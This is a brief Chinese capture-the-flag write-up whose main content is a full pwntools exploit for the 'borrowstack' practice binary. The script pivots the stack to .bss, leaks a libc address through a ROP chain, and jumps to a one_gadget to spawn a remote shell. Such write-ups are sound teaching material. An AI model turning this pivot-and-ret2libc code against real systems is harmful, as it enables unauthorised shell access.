看名字就知道栈迁移了 和以前那道题目有点像的
只有0x10的溢出,所以要栈迁移
from pwn import*
context.log_level = 'debug'
io = remote("node4.buuoj.cn",29436)
#io = process('./gyctf_2020_borrowstack')
elf = ELF('./gyctf_2020_borrowstack')
#gdb.attach(io)
libc = ELF('libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
leave_ret_addr = 0x00400699
rdi_addr = 0x0000000000400703
offest = 0x60
bss_addr = 0x0000000000601090
payload = b'a'*0x60 + p64(bss_addr)+p64(leave_ret_addr)
io.recv()
io.send(payload)
io.recv()
payload1=p64(0x4004c9)*0x14+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload1)
puts_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
log.success('puts_addr:'+hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
system_addr = libcbase +libc.sym['system']
io.recv()
payload = b'a'*0x60 + p64(system_addr)+p64(libcbase+0x4526a)
io.send(payload)
#pause()
io.interactive()